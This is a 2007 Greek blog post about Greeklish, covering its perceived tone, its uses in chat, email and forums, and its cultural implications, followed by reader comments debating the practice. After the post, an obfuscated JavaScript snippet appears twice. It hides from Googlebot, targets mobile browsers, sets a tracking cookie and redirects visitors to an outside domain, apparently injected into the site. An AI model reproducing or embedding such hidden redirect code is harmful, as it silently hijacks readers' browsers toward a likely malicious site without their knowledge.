anwnymous

Ιουνίου 18, 2007

I like greeklish! :)

Filed under: Uncategorized — thelastrealanwnymous @ 2 :42 μμ

Όταν έγραψα πρώτη φορά σε γκρίκλις μου φάνηκε ότι αυτή η απελευθέρωση από την ορθογραφία και αυτή η ανάλυση των διπλών γραμμάτων σε μονά και η συμπύκνωση απλών σε διπλά (ξ = κς, ψ = πς, th = θ, δ= d= ντ),είχε μία καταλυτική αποδόμηση του εργαλείου της έκφρασης, που οδηγούσε σε μια απελευθέρωση της επικοινωνίας με ένα τρόπο, που και ο ρόλος των αγγλικών ως βάση για τη δημιουργία μιας παγκόσμιας γλώσσας, έμπαινε περισσότερο στη λογική ενός απαραίτητου εργαλείου (αποστασιοποιημένου από τον αγγλόφωνο ρόλο του), παρά στην ηγετική θέση της κυριαρχίας τους επί άλλων γλωσσών και συγχρόνως πολιτισμών.

Έχοντας λάβει πλέον αρκετά e-mail σε γκρίκλις τα τελευταία 4 χρόνια και έχοντας μιλήσει πολλές φορές σε φόρουμ σ’ αυτή την νέα (στρεβλωμένη όπως υποστηρίζουν κάποιοι) γλώσσα, παρατηρώ κάποια ενδιαφέροντα χαρακτηριστικά τα οποία με βάζουν σε σκέψεις για το μέλλον και τις εξελίξεις στα γκρίκλις.

Κατ’ αρχάς ο άνθρωπος που για πρώτη φορά διαβάζει κείμενο σε γκρίκλις έχει την αίσθηση ότι επικοινωνεί με κάποιο πολύ αφελές άτομο που χρησιμοποιεί τη γλώσσα με ιδιαίτερα παιδικό τρόπο προσπαθώντας να επικοινωνήσει μαζί σου. Αναλόγως με το περιεχόμενο του κειμένου μπορούν να συμβούν τα εξής.
1. Αν είναι επιστημονικό δημιουργείται η εντύπωση ότι εδώ υπάρχει ένα «σοφό παιδί» που πραγματικά γράφει σημαντικά πράγματα παρότι έχει μία δυσκολία στο γραπτό λόγο. Ακόμη και αν ό συγγραφέας του είναι επώνυμος η χρήση των γκρίκλις από μέρους του τον μετατρέπει σε άτομο που η ευφυία του κρύβεται πίσω από μία αφελή (πιθανόν λόγω φυσικής συστολής του χαρακτήρα του ) έκφραση που ίσως θεωρηθεί και γοητευτική
2. Αν το κείμενο έχει ένα χαρακτήρα καθημερινού σχολίου (ειδικά δεικτικού ή σαρκαστικού σχολίου για πρόσωπα και πράγματα της καθημερινής ζωής) τότε τα γρικλις βοηθούν πάρα πολύ το τελικό αποτέλεσμα που φθάνει στον αναγνώστη, διότι προσδίδουν μία φρεσκάδα σκέψης και μία χαριτωμένη αθωότητα στο να σχολιάζεται η καθημερινότητα από κάποιον που «δεν μετέχει» στα δρώμενα
3. Γενικότερα τα γκρίκλις δίνουν την αίσθηση επικοινωνίας με κάποιο «εξωγήινο» που αντιλαμβάνεται τα γεγονότα αλλά τα εκφράζει ομιλώντας τα ελληνικά των ξένων.
4. Αν το κείμενο είναι ένα πρακτικό καθημερινό μήνυμα, συνήθως σύντομο, όπως και τα μηνύματα που ανταλλάσσουμε στα κινητά τότε πραγματικά ο αναγνώστης το εισπράττει πλήρως στην πρακτική του πλευρά και το μόνο που κάνει είναι να ξαναδιαβάσει το μήνυμα διότι έχει μία αίσθηση γλώσσας ορολογίας τεχνικού περιεχομένου και προσπαθεί να σιγουρευτεί ότι δεν θα κάνει λάθει, εκτελώντας τις οδηγίες που έλαβε. Εδώ τα γκρκλις έχουν και το θετικό ότι μπορούν να παρεισφρήσουν και κανονικοί αγγλικοί όροι ανάμεσα τους, χωρίς να χρειαστεί ο χρήστης να δώσει αυτές τις κουραστικές εντολές αλλαγής του πληκτρολογίου σε αγγλικό και πάλι μετά σε ελληνικό για να συνεχιστεί το κείμενο.
5. Ένα άλλο καθημερινό θέμα που αντιμετωπίζεται από χιλιάδες χρήστες είναι η χρήση των γκρίκλις σε chat και forum. Εδώ υπάρχει πολλές φορές πιθανότητα μιλώντας στο main κάποιος που έχει διαφορετική άποψη από μία ήδη διαμορφωμένη παρέα, ή κάποιος που εκφράζει πιο ακραίες θέσεις πάνω σε ένα θέμα, να μη γίνεται μόνο ενοχλητικός για τις απόψεις του αλλά και για τα γκρίκλις του. Εκεί υπάρχει η εντύπωση από τους άλλους, ότι βρίσκονται αντιμέτωποι με κάποιον αυθάδη ημιμαθή που ενώ δεν μπορεί ούτε καν να γράψει σωστά ελληνικά, θέλει και να εκφράσει παρακινδυνευμένες απόψεις και ακροβατισμούς που μόνο σαν εντυπωσιασμός εισπράττονται.

6. Σε επίπεδο προσωπικής συνομιλίας στο ίντερνετ, όπου δύο άνθρωποι μπορούν να λένε πραγματικά γεγονότα, σκέψεις, ανέκδοτα, πειράγματα και οτιδήποτε άλλο, η χρήση των γκρίκλις κάνει τα ανέκδοτα πιο χαριτωμένα, τις σκέψεις πιο «παιδικές», αλλά εξακολουθεί να παραμένει η εντύπωση ότι η άρνηση του ενός από τους δύο να χρησιμοποιήσει την ελληνική γλώσσα δείχνει και μία διάθεση αποστασιοποίησης από τη συζήτηση και τελικά απόρριψης του συνομιλητή με έναν υπεράνω πάσης υποψίας τρόπο.
Παρατηρείται μάλιστα σε προσωπικές συζητήσεις ότι τα πειράγματα σε γκρίκλις θεωρούνται πιο δεικτικά, η επικοινωνία γίνεται πιο απρόσωπη και οι μεταξύ αγνώστων (όπως τελικά είμαστε όλοι μεταξύ μας στο ίντερνετ) παρεξηγήσεις είναι πιο συχνές. Σε τελική ανάλυση όταν τα καυτά σχόλια, πιπεράτες ιστορίες και οι προσωπικοί υπαινιγμοί είναι σε γκρίκλις ο συγγραφέας τους αντιμετωπίζεται ως ενοχλητικός, άτομο επιφανειακό, χωρίς φραγμούς και επιρρεπές σε όλες αυτές τις σειρήνες του διαδικτύου, όπως: («εύκολες σχέσεις», τζάνκι σεξ, τζάνκι μέιλς, σπαμ, εύκολο χρήμα, διασπορά ιών για πλάκα….)
Αντιθέτως όλα αυτά τα σκιτσάκια με τις αγκύλες και τις τελίτσες που εκφράζουν συναισθήματα καθώς και άλλα μηνύματα αντιμετωπίζονται με θετικό και μη παρεξηγήσιμο τρόπο. Τέλος η χρήση λέξεων μόνο με τα σύμφωνα για λόγους ταχύτητας θεωρήθηκε πολύ πρακτική εφαρμογή αλλά με το μειονέκτημα κάποιες έννοιες πάλι να γίνονται δυσνόητες.
7. Τέλος υπάρχει και η σταθερή πλέον χρήση από εταιρική αλληλογραφία όπου όλα τα μέιλς αρχίζουν με τη φράση (akolouthei kimeno sta ellinika kai se xaraktires griklis ) που είναι γραμμένη σε γκρίκλις διότι αν ο παραλήπτης έχει στον υπολογιστή του σόφτγουερ παλαιότερης βερσιόν θα βλέπει όπου υπάρχουν ελληνικά, κάτι ιερογλυφικά… άσε, προχωρώντας όμως πιο κάτω μπορεί να διαβάσει το μέιλ χωρίς προβλήματα στη γνωστή φιλική γλώσσα.
Πιστεύοντας ότι κατάφερα να δώσω μία εικόνα για τη νέα αυτή γλώσσα θα θελα πάρα πολύ εδώ να σας θυμίσω εκείνα τα ωραία ανορθόγραφα ελληνικά του Μποστ, που συνόδευαν τα σκίτσα του και τις ιστορίες του προσδίδοντας χιούμορ στο λόγο του και «χαρακτήρα» στους ήρωές του.
Γενικότερα στην ελληνική κοινωνία, η προσπάθεια που έγινε προς την κατεύθυνση του μονοτονικού συστήματος, με στόχο η γλώσσα να απελευθερωθεί από τη βαριά κληρονομιά της ορθογραφίας της , ενώ θεωρήθηκε βήμα προόδου για την κοινωνία, διότι απάλλαξε τη γλώσσα από τα «κινέζικα ιδεογράμματα της» και την έκανε πιο προσιτή στο κοινό από την άλλη προέκυψαν παράγοντες που επανέφεραν τον αναλφαβητισμό σε δραματικά υψηλά ρεκόρ.
Η δύναμη της γλώσσας της εικόνας, η μείωση αναγνωστών εντύπων, η αντιμετώπιση της γλώσσας ως αγαθού που μπορεί πλέον να αποκτηθεί με ευκολία, αφού το μονοτονικό οδήγησε και σε μία νέα απλοποίηση της ορθογραφίας, έφεραν τα ελληνικά σε ρόλο ξεπεσμένης αριστοκράτισσας που εκδίδεται σε πολύ χαμηλές τιμές στην πολύχρωμη και ετερόκλητη πελατεία της.
Τελικά τα γκρίκλις δεν είναι μόνο δικό μας (ελληνικό) ζήτημα διότι σίγουρα υπάρχουν και άλλες γλώσσες που δεν έχουν βάση το λατινικό αλφάβητο και υποκαταστάθηκαν με αυτή την τύπους «λις» γλώσσα.
Αυτό που προκύπτει σαν αίσθηση από τη χρήση αυτού του γλωσσικού κατασκευάσματος είναι ότι στα πλαίσια της παγκοσμιοποίησης, υπάρχει η καχυποψία ότι τα γκρίκλις είναι ακόμη ένας ύφαλος, επικίνδυνος για το σκαρί της ελληνικότητας μας
Δεν θα μιλήσω εδώ για τα «γκρίνγκλις» που είναι αυτά τα αγγλικά που έχουμε ενσωματώσει στη γλώσσα και λέμε για παράδειγμα: «Ο σόρυ, σόρυ είμαι βέρι μπίζι σήμερα», θα ήθελα να πω μόνο ότι κι αυτά μας φέρνουν πολύ κοντά στην ιδέα για δημιουργία μιας πρακτικής γλώσσας γενικής αποδοχής.

Επιστρέφοντας οριστικά στα γκρίκλις ήθελα να πω ότι ήταν μία γλώσσα που σηματοδότησε την είσοδο των ελλήνων χρηστών στο διαδίκτυο. Θα μπορούσε κάλλιστα να είναι μια γλώσσα «πολιτικής» αλλά δυστυχώς στο χώρο του ίντερνετ δεν υπήρξε τέτοιο ενδιαφέρον. Ο παγκόσμιος ιστός θεωρήθηκε περισσότερο ένα πεδίο αναζήτησης επιστημονικών δεδομένων και επικοινωνίας μεταξύ των χρηστών, παρά ένας χώρος ζυμώσεων ώστε να προκύψει «νέα πολιτική». Αυτό όμως δεν σημαίνει ότι πιθανώς δεν θα ωριμάσουν συνθήκες στο μέλλον. Χαρακτηριστικά μπορούμε να πούμε ότι οι πολιτικοί ανά τον κόσμο αναζήτησαν στο ίντερνετ δίαυλο επικοινωνίας με τους οπαδούς τους και με το ευρύτερο κοινό, ποτέ όμως δεν διατυπώθηκε η άποψη για δημιουργία ενός cyber κόμματος με νέες αντιλήψεις που μπορεί να ατενίζει δυναμικά τον καινούριο κόσμο με τα καυτά προβλήματα που έχουν προκύψει τα τελευταία χρόνια. Μια τέτοια γλώσσα λοιπόν όπως τα γκρίκλις θα μπορούσε να είναι η συνωμοτική γλώσσα των νέων ιδεών ή ακόμη και η «ξύλινη» (e-γλώσσα) της νέας πολιτικής.

Προς το παρών όμως τα «καημένα» τα γκρίκλις παραμένουν μία τόσο παρεξηγημένη γλώσσα, όπου δεν είναι ούτε αγγλικά ούτε ελληνικά, δεν διδάσκονται, ούτε μεταδίδονται από στόμα σε στόμα. Θα παραμείνουν για πάντα μία ενδιάμεση γλώσσα που θα εξαφανιστεί όσο εξελίσσεται η τεχνολογία. Μια γλώσσα που χρησίμεψε για να επικοινωνήσουν οι πρώτοι έλληνες που έφθασαν στο διαδίκτυο με τα 386 τους που είχαν στο γραφείο, με τα μακ τους, με τα εξωτερικά βραδυκίνητα μόντεμ και τα πρώτα windows 3.1, τότε που το ίντερνετ περνούσε από τα πανεπιστήμια στη κοινωνία και κάποιοι άνθρωποι βίωσαν μια νέα εποχή της αθωότητας και πίστεψαν ότι μέσα από το ίντερνετ θα φυσήξει αυτός ο άνεμος εκδημοκρατισμού του πλανήτη, με την χωρίς περιορισμούς διακίνηση ιδεών, τον πλουραλισμό και την απόλυτη ελευθερία έκφρασης.
Και όλα αυτά μέχρις ότου κατέφθασαν οι έμποροι.
I like greeklish and their genius and simple communication way. 🙂

akaras@yahoo.grvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

27 Σχόλια »

  1. Eimai enas synomwtika gohteutikos ekswghinos
    εντ δατς δατ
    xaiρe w xaiρe akaras

    Σχόλιο από Sardonian — Ιουνίου 18, 2007 @ 3 :13 μμ | Απάντηση

  2. mou arese h analysi poy ekanes, opws blepeis egw den xerw na grafw se greeklish, koyrazontai kai ta matia moy, eytyxws poy synexizeis na postareis me ellhnikoys xarakthrew, egw omws, eides, xatiri den xalaw, grafw gia parti soy, xexe, makia

    Σχόλιο από αργυρένια — Ιουνίου 18, 2007 @ 3 :25 μμ | Απάντηση

  3. Kai pio grhgorh tha elega!!!

    Σχόλιο από feggaroskoni — Ιουνίου 18, 2007 @ 5 :14 μμ | Απάντηση

  4. sardo
    vlepo oti psinesai na symmetexeis stin anatroph .
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 19, 2007 @ 10 :06 πμ | Απάντηση

  5. argyrenia
    ta greeklish einai i glwssa tis eleftherias .
    m aresoyn osoi lene efkola :»den me niazei» kai proxwrane parakatw.
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 19, 2007 @ 10 :09 πμ | Απάντηση

  6. feggaroskoni
    eimai anypomonos kai grafo greeklish
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 19, 2007 @ 10 :10 πμ | Απάντηση

  7. nai alla den argeis ligo perissotero apo to sinithismeno na ta diavaseis??

    Σχόλιο από lifewhispers — Ιουνίου 19, 2007 @ 3 :24 μμ | Απάντηση

  8. ας είμαι ο πρώτος που θα γράψει ελληνικά!
    τα μισώ τα greeklish!
    🙂

    Σχόλιο από Σπύρος Σεραφείμ — Ιουνίου 19, 2007 @ 10 :58 μμ | Απάντηση

  9. lifewhispers.
    υπάρχουν μελετες που υποστηρίζουν ότι διαβαζουμε «έννοιες» στις λέξεις και όχι γράμματα. έτσι αν δεις ένα κείμενο γεματο σαρδάμ, συνειδητοποιείς ότι πολύ λίγο πεφτει η ταχύτητα ανάγνωσης γιατί το νόημα του κειμένου που ολοκληρώνεται σε οδηγεί να διαβαζεις σωστά.
    σίγουρα αργείς , όχι και τόσο πολύ όμως .
    από την άλλη πλευρά γραφεις πιό γρήγορα , και σε νιάζουν λιγώτερο τα λάθη .
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 20, 2007 @ 9 :32 πμ | Απάντηση

  10. σπύρο
    opos vlepeis parasyrthika kai ego kai egrapsa ellinika sto prohgoumeno sxolio.
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 20, 2007 @ 9 :37 πμ | Απάντηση

  11. Υπέρ των ελληνικών χαρακτήρων κι εγώ κι ας είναι οι έννοιες πολλές κι οι ερμηνείες λίγες:-)
    Πάντως το έχω σίγουρο πως ο αναγνώστης δίνει ζωή στο κείμενο κι όχι το κείμενο , γραμμή στον αναγνώστη.

    Σχόλιο από V — Ιουνίου 20, 2007 @ 7 :58 μμ | Απάντηση

  12. kai giati na periorizomaste? καλά τα greeklish, καλοι και οι ελληνικοί χαρακτήρες.. δεν εχω προβλημα με κανένα, και γελαω με κάποιες παρανοήσεις που γίνονται, γιατι πολλοι χρησινοποιουν διαφορετικό τρόπο για να γράψουν το θ για παράδειγμα: 8. th .. ή το ξ: 3, ks, x.. kai k;apoies for;es mperdeuesai + gr;afeiw ;alla anti ;allvn!!! και αντε μετά να βγάλεις νόημα!!

    Σχόλιο από leila — Ιουνίου 21, 2007 @ 10 :15 πμ | Απάντηση

  13. leila
    fainetai oti kapos etsi dieisdyei to xioymor sti grafi.
    afto poy paliotera itan anorthografia tora einai alli ekdoxi grafis.
    kai kyrios ginetai pio apodekti i ypokeimeniki ekfrasi .
    poios tha to pisteve oti to glossiko provlima pou itan politiko provlima twn arxwn toy 1900 tha proekypte pali, giati telika simera grafoume prissotero kai perissoteroi apo kathe alli epoxi.
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 21, 2007 @ 11 :28 πμ | Απάντηση

  14. V
    keimeno xwris anagnosti einai gramma xwris paralipti.
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 21, 2007 @ 12 :08 μμ | Απάντηση

  15. «keimeno xwris anagnosti einai gramma xwris paralipti»
    Δεν συμπαθώ τα greeklish. Οι λόγοι είναι απλοί.
    Διαβάζονται πολύ δυσκολότερα από τα ελληνικά ή τα αγγλικά. Σε μεγαλύτερο κείμενο τα πράγματα γίνονται απλώς χαοτικά και οι περισσότεροι εγκαταλείπουν την προσπάθεια. Κάποιοι γράφουν ευκολότερα στα greeklish (πολλοί παραδέχονται πως αυτό συμβαίνει γιατί ντρέπονται για τα ελληνικά τους) αλλά κανείς δεν προτιμά να τα διαβάζει.
    Το να γράψεις λόγω ευκολίας στα greeklish μεταφέρει το μήνημα: «Με νοιάζει η βολή μου, κι εσύ αναγνώστη κόψε το λαιμό σου». Ή «Εγώ βιάζομαι άρα προτιμώ να καθυστερήσω εσένα». Αυτή είναι απαράδεκτη νοοτροπία και δεν είναι τυχαίο πως, στην πλειοψηφία των περιπτώσεων, στα forums βλέπεις greeklish από καινούρια ή/και πολύ νεαρά μέλη.
    Δεν έχουν σχέση με «σαρδάμ» σε κατανοητή γραφή. Τα σχετικά πειράματα δεν αναφέρονται σε γραφή/αλφάβητο μιας γλώσσας που προσπαθεί να αποδώσει άλλη γλώσσα!
    Έχω διαβάσει και ενδιαφέροντα πράγματα σε greeklish (όταν έκανα τον κόπο!) και θα ξαναδιαβάσω. Απλά, η εμπειρία μου λέει πως το 80% αυτών που τα χρησιμοποιούν ΤΩΡΑ (όχι κάποτε, από ανάγκη)δεν έχουν κάτι ενδιαφέρον να μου πουν, δεν μπορούν να γράψουν στη γλώσσα τους, δεν σέβονται τον αναγνώστη τους και, τελικά, μένουν χωρίς αναγνώστη.

    Άσχετα απ΄αυτά, το κείμενο μου φάνηκε πολύ ενδιαφέρον!

    Σχόλιο από aerosol — Ιουνίου 21, 2007 @ 8 :21 μμ | Απάντηση

  16. aerosol
    θα γράψω «κανονικά» μήπως δεν διαβάσεις την απάντηση . 🙂
    μπορεί να είναι μια εναλλακτική γλώσσα επικοινωνίας , μπορεί να χρησιμοποιηθούν στη διαφήμιση , μπορεί ακόμα να βγάλουν και χιούμορ με το «οπτικό» τους αποτέλεσμα.
    είμαστε στην εποχή που τίποτε δεν είναι αχρηστο.
    🙂
    …μπορεί να σε συλλάβουν με πράσινα παπούτσια και ενδεχομένως να δώσεις ένα εμπιστευτικό σημείωμα στο δικηγόρο σου σε γκριικλις για να μη το διαβάσουν οι μπάτσοι .
    🙂

    Σχόλιο από thelastrealanwnymous — Ιουνίου 22, 2007 @ 10 :25 πμ | Απάντηση

  17. Απεχθάνομαι τα γκρίκλις, τα οποία σε καμιά περίπτωση βέβαια δεν είναι «γλώσσα».
    Τα γκρίκλις είναι ένας άλλος τρόπος μετα-γραφής μιας ήδη υπάρχουσας γλώσσας με την χρήση ενός άλλου αλφαβήτου.
    Αν ήταν νέα γλώσσα, θα είχε δικό της λεξιλόγιο, γραμματική, συντακτικό κανόνες.

    Σχόλιο από Allu Fun Marx — Ιουνίου 22, 2007 @ 12 :55 μμ | Απάντηση

  18. Allu Fun Marx
    τα σλαγκ είναι γλώσσα;
    μπορεί τα γκρικλις να είναι τα σλαγκ του ιντερνετ ;
    μπορεί αυτό το «αχώνευτο» ιδίωμα να λειτουργήσει σαν συνομωτική γλώσσα όσων πιστεύουν στη δύναμη του ιντερνετ ;

    Σχόλιο από thelastrealanwnymous — Ιουνίου 22, 2007 @ 1 :46 μμ | Απάντηση

  19. Πράγματι, κάποιες φορές βγάζουν χιούμορ.
    Όμως δεν είναι slang. Οποιαδήποτε ιδιωματική, αργκώ ή συνωμωτική γλώσσα είναι συνθηματική,
    κάνει γρήγορη την κατανόηση, συμπυκνώνει τα πράγματα, κόβει δρόμο. Τα γκρήκλις είναι σχεδόν πάντα νορμάλ ελληνικά γραμμένα με λατινικούς χαρακτήρες και κάποιες ελάχιστες συντομέυσεις. Δεν είναι «simple»!
    Υπάρχει ιντερνετικό slang αλλά δεν είναι στα ελληνικά, IMHO (LOL!).
    Ίσως χρειαζόμαστε λίγα χρόνια ίντερνετ ακόμα για να το κάνουμε πιο δικό μας…

    Σχόλιο από aerosol — Ιουνίου 22, 2007 @ 9 :16 μμ | Απάντηση

  20. aerosol
    yparxei internetiko slug ?
    na kati poy den to iksera.
    thunks gia tin enimerosi
    🙂
    kai oxi tipote allo , alla nomiza oti enimeronomai syxna, sxedon agxwtika.

    Σχόλιο από thelastrealanwnymous — Ιουνίου 22, 2007 @ 10 :00 μμ | Απάντηση

  21. Έλα τώρα, thelastrealanwnymous!
